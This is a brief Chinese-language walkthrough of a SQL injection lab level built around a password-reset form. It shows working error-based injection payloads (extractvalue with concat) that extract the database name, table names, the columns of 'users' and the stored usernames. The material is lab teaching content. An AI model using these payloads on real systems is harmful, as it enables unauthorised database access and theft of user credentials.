这一关的欢迎界面提示我们重置密码 可能是要我们对密码进行注入操作
所以我们这样做既然要重置的话 那么就要有正确的用户名
所以我们在用户名处输入正确的字符 然后再密码出进行注入
首先判断一下密码处的注入点类型
输入如下
我们首先先试试看错误的时候会不会存在错误信息呢
1'
回显如下
提示我们注入点的结构为单引号注入
就不用验证了
接下来进行注入方法的选择 由于正确的用户名和密码输入后没有任何回显 所以就不能使用联合注入了 但是有报错注入 所以我们可以利用报错注入
首先先获取一下数据库名称
输入如下
1' and extractvalue(1,concat(0x7e,database(),0x7e));#
回显如下
接着进行报表操作
输入如下
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
回显如下
接着进行获取字段的操作
输入如下
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e))#
回显如下
最后获取一下用户名和密码的相关信息
输入如下
1' and extractvalue(1,concat(0x7e,(select user_name from (select group_concat(username) as user_name from users) as a),0x7e))#
如果按照正常的写法来写 会报错 这条报错信息的解决办法为二次查询
回显如下
嘿嘿成功!!